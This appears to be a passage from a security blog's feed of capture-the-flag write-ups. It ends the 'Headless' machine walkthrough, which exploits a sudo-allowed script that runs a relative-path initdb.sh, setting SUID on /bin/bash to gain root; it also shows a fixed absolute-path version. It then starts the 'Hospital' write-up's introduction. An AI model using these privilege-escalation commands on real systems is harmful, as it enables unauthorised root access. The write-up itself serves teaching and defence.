https://substackcdn.com/image/fetch/$s_!SsIC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ff2b564-af6b-45af-af2b-030e327edcc2_589x505.png 848w, https://substackcdn.com/image/fetch/$s_!SsIC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ff2b564-af6b-45af-af2b-030e327edcc2_589x505.png 1272w, https://substackcdn.com/image/fetch/$s_!SsIC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ff2b564-af6b-45af-af2b-030e327edcc2_589x505.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Another command can be sent to validate that the file has been created successfully.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EkW8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b56ce1b-9557-4de5-9d8f-408d90713395_1170x753.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EkW8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b56ce1b-9557-4de5-9d8f-408d90713395_1170x753.png 424w, https://substackcdn.com/image/fetch/$s_!EkW8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b56ce1b-9557-4de5-9d8f-408d90713395_1170x753.png 848w, https://substackcdn.com/image/fetch/$s_!EkW8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b56ce1b-9557-4de5-9d8f-408d90713395_1170x753.png 1272w, https://substackcdn.com/image/fetch/$s_!EkW8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b56ce1b-9557-4de5-9d8f-408d90713395_1170x753.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EkW8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b56ce1b-9557-4de5-9d8f-408d90713395_1170x753.png" width="1170" height="753" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6b56ce1b-9557-4de5-9d8f-408d90713395_1170x753.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:753,&quot;width&quot;:1170,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;rev-shell-confirm.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="rev-shell-confirm.png" title="rev-shell-confirm.png" srcset="https://substackcdn.com/image/fetch/$s_!EkW8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b56ce1b-9557-4de5-9d8f-408d90713395_1170x753.png 424w, https://substackcdn.com/image/fetch/$s_!EkW8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b56ce1b-9557-4de5-9d8f-408d90713395_1170x753.png 848w, https://substackcdn.com/image/fetch/$s_!EkW8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b56ce1b-9557-4de5-9d8f-408d90713395_1170x753.png 1272w, https://substackcdn.com/image/fetch/$s_!EkW8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b56ce1b-9557-4de5-9d8f-408d90713395_1170x753.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>After confirming the file was successfully created, it can be called and the resulting shell caught on a netcat listener as shown below.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nxq7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f7b9dde-410f-4eee-b713-185c5ad0fb3d_1168x550.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nxq7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f7b9dde-410f-4eee-b713-185c5ad0fb3d_1168x550.png 424w, https://substackcdn.com/image/fetch/$s_!nxq7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f7b9dde-410f-4eee-b713-185c5ad0fb3d_1168x550.png 848w, https://substackcdn.com/image/fetch/$s_!nxq7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f7b9dde-410f-4eee-b713-185c5ad0fb3d_1168x550.png 1272w, https://substackcdn.com/image/fetch/$s_!nxq7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f7b9dde-410f-4eee-b713-185c5ad0fb3d_1168x550.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nxq7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f7b9dde-410f-4eee-b713-185c5ad0fb3d_1168x550.png" width="1168" height="550" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5f7b9dde-410f-4eee-b713-185c5ad0fb3d_1168x550.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:550,&quot;width&quot;:1168,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;rev-shell-execute.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="rev-shell-execute.png" title="rev-shell-execute.png" srcset="https://substackcdn.com/image/fetch/$s_!nxq7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f7b9dde-410f-4eee-b713-185c5ad0fb3d_1168x550.png 424w, https://substackcdn.com/image/fetch/$s_!nxq7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f7b9dde-410f-4eee-b713-185c5ad0fb3d_1168x550.png 848w, https://substackcdn.com/image/fetch/$s_!nxq7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f7b9dde-410f-4eee-b713-185c5ad0fb3d_1168x550.png 1272w, https://substackcdn.com/image/fetch/$s_!nxq7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f7b9dde-410f-4eee-b713-185c5ad0fb3d_1168x550.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>And the first flag was found.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AeM3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f516d07-7b97-4822-81c2-0163df59cc1d_513x412.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AeM3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f516d07-7b97-4822-81c2-0163df59cc1d_513x412.png 424w, https://substackcdn.com/image/fetch/$s_!AeM3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f516d07-7b97-4822-81c2-0163df59cc1d_513x412.png 848w, https://substackcdn.com/image/fetch/$s_!AeM3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f516d07-7b97-4822-81c2-0163df59cc1d_513x412.png 1272w, https://substackcdn.com/image/fetch/$s_!AeM3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f516d07-7b97-4822-81c2-0163df59cc1d_513x412.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AeM3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f516d07-7b97-4822-81c2-0163df59cc1d_513x412.png" width="513" height="412" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8f516d07-7b97-4822-81c2-0163df59cc1d_513x412.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:412,&quot;width&quot;:513,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;first-flag.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="first-flag.png" title="first-flag.png" srcset="https://substackcdn.com/image/fetch/$s_!AeM3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f516d07-7b97-4822-81c2-0163df59cc1d_513x412.png 424w, https://substackcdn.com/image/fetch/$s_!AeM3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f516d07-7b97-4822-81c2-0163df59cc1d_513x412.png 848w, https://substackcdn.com/image/fetch/$s_!AeM3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f516d07-7b97-4822-81c2-0163df59cc1d_513x412.png 1272w, https://substackcdn.com/image/fetch/$s_!AeM3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f516d07-7b97-4822-81c2-0163df59cc1d_513x412.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>System enumeration</h1><p>As always, checking for any <code>sudo</code> rights is a good place to start.</p><pre><code><code>$ whoami
dvir
$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck</code></code></pre><p>In this case, the user can execute <code>/usr/bin/syscheck</code> as sudo with no password.</p><p>Checking what the binary is reveals a bash script that needs elevated privileges to check some values and retrieve system information.</p><pre><code><code>$ strings /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
  exit 1
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &amp;&gt;/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2&gt;/dev/null
else
  /usr/bin/echo "Database service is running."
exit 0
$</code></code></pre><p>The <code>if</code> statement is particularly interesting. It checks if a script named <code>initdb.sh</code> is currently running. If it&#8217;s not running, it attempts to start this script and prints a message indicating it&#8217;s starting the database service. If it is running, it prints that the database service is running.</p><p>The file can be created in the present working directory to impersonate the <code>initdb.sh</code> script. If <code>/usr/bin/syscheck</code> is executed from the same directory to where the fake <code>initdb.sh</code> script is created, it will execute this file because it uses a relative path to locate and run <code>initdb.sh</code>.</p><h2>Relative path vs. Absolute path</h2><p>In the original script, the problematic part is:</p><pre><code><code>if ! /usr/bin/pgrep -x "initdb.sh" &amp;&gt;/dev/null; then
  ./initdb.sh 2&gt;/dev/null
else
  /usr/bin/echo "Database service is running."</code></code></pre><p>Here, <code>./initdb.sh</code> refers to a relative path, which it looks for <code>initdb.sh</code> in the current working directory.</p><p>Here is a version of the script using absolute paths.</p><pre><code><code>#!/bin/bash
if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

# Absolute path used here
initdb_script="/opt/scripts/initdb.sh"

if ! /usr/bin/pgrep -x "initdb.sh" &amp;&gt;/dev/null; then
  if [ -x "$initdb_script" ]; then
    $initdb_script 2&gt;/dev/null
    /usr/bin/echo "Database service started."
  else
    /usr/bin/echo "Error: initdb.sh script not found or not executable."
  fi
else
  /usr/bin/echo "Database service is running."
fi</code></code></pre><ol><li><p><strong>Absolute Path Definition</strong>: The path to <code>initdb.sh</code> is set as an absolute path (<code>/opt/scripts/initdb.sh</code>). This ensures that the script always attempts to execute the specific <code>initdb.sh</code> located in <code>/opt/scripts</code>, regardless of the current working directory.</p></li><li><p><strong>Check for Script Existence and Executability</strong>: Before attempting to execute <code>initdb.sh</code>, the script checks if the file exists and is executable (<code>-x</code>). This adds an additional layer of safety by ensuring that the script does not attempt to execute a non-existent or non-executable file, which could result in errors or security issues.</p></li><li><p><strong>Clear Error Messaging</strong>: In case the <code>initdb.sh</code> script is not found or is not executable; the script clearly prints an error message. This helps troubleshoot and ensures that script failures due to path issues are communicated clearly to the user or administrator.</p></li></ol><p>Using absolute paths like this mitigates the risk of unintended file execution and enhances the script&#8217;s robustness by making its operation more predictable and secure.</p><h1>Privilege escalation</h1><p>Creating the <code>initdb.sh</code> file to execute <code>/bin/bash</code> results in the shell being elevated to root privileges.</p><pre><code><code>$ echo "chmod u+s /bin/bash" &gt; initdb.sh
$ chmod +x initdb.sh
$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average:  0.06, 0.03, 0.00
Database service is not running. Starting it...
$ /bin/bash -p
whoami
root
cat /root/root.txt
f894b8ca49729b&lt;SNIP&gt;</code></code></pre><p><code>echo "chmod u+s /bin/bash" &gt; initdb.sh</code></p><ul><li><p>This writes a command into a script file (<code>initdb.sh</code>) that, when executed, will set the SUID bit on <code>/bin/bash</code>. Setting the SUID bit (<code>u+s</code>) on <code>/bin/bash</code> will allow any user to run Bash as the root user. As the <code>/usr/bin/syscheck</code> binary can be run in the context of <code>sudo</code>, calling <code>initdb.sh</code> via this binary, means the encapsulated command will also be run as <code>sudo</code>, and <code>/bin/bash</code> will have its SUID successfully modified.</p></li></ul><p><code>chmod +x initdb.sh</code></p><ul><li><p>Makes the <code>initdb.sh</code> script executable.</p></li></ul><p><code>sudo /usr/bin/syscheck</code></p><ul><li><p>Runs the binary the user has sudo rights over, which ends with the malicious <code>initdb.sh</code> script being called.</p></li></ul><p><code>/bin/bash -p</code></p><ul><li><p>Launches a new Bash shell with the SUID bit set (<code>-p</code>), running with root privileges because of the earlier <code>chmod u+s /bin/bash</code>.</p></li></ul>]]></content:encoded></item><item><title><![CDATA[Hospital]]></title><description><![CDATA[Insecure File Uploads, Business Email Compromise, and kernel exploits.]]></description><link>https://www.emdeh.com/p/hospital</link><guid isPermaLink="false">https://www.emdeh.com/p/hospital</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Mon, 08 Apr 2024 10:34:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!gzz_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65146940-7d6f-423c-9f7b-aca3c70fed77_1100x833.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gzz_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65146940-7d6f-423c-9f7b-aca3c70fed77_1100x833.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gzz_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65146940-7d6f-423c-9f7b-aca3c70fed77_1100x833.png 424w, https://substackcdn.com/image/fetch/$s_!gzz_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65146940-7d6f-423c-9f7b-aca3c70fed77_1100x833.png 848w, https://substackcdn.com/image/fetch/$s_!gzz_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65146940-7d6f-423c-9f7b-aca3c70fed77_1100x833.png 1272w, https://substackcdn.com/image/fetch/$s_!gzz_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65146940-7d6f-423c-9f7b-aca3c70fed77_1100x833.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gzz_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65146940-7d6f-423c-9f7b-aca3c70fed77_1100x833.png" width="1100" height="833" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/65146940-7d6f-423c-9f7b-aca3c70fed77_1100x833.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:833,&quot;width&quot;:1100,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gzz_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65146940-7d6f-423c-9f7b-aca3c70fed77_1100x833.png 424w, https://substackcdn.com/image/fetch/$s_!gzz_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65146940-7d6f-423c-9f7b-aca3c70fed77_1100x833.png 848w, https://substackcdn.com/image/fetch/$s_!gzz_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65146940-7d6f-423c-9f7b-aca3c70fed77_1100x833.png 1272w, https://substackcdn.com/image/fetch/$s_!gzz_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65146940-7d6f-423c-9f7b-aca3c70fed77_1100x833.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1><a href="https://emdeh.substack.com/i/145021282/introduction">Introduction</a></h1><p>Hospital is rated as a medium-difficulty Windows machine. The kill chain was extensive. After registering a fraudulent account on a web frontend, an Insecure File Upload vulnerability was exploited to upload a malicious file type, leading to initial access on a Linux webserver.</p><p>An unpatched vulnerability in the Linux kernel was then exploited to elevate privileges and steal hashes. Cracking the hashes led to unauthorised access of a business email account. The use of unpatched software was then exploited to break out of the Linux webserver and obtain a shell on a Windows machine.</p><p>From there, insecure coding practices hardcoded a password in a batch script. The presence of a local administrator account and inappropriate file permissions resulted in obtaining <code>NT Authority</code> system access.</p><p>The machine demonstrates how various vulnerabilities can be chained together to become greater than the sum of their parts 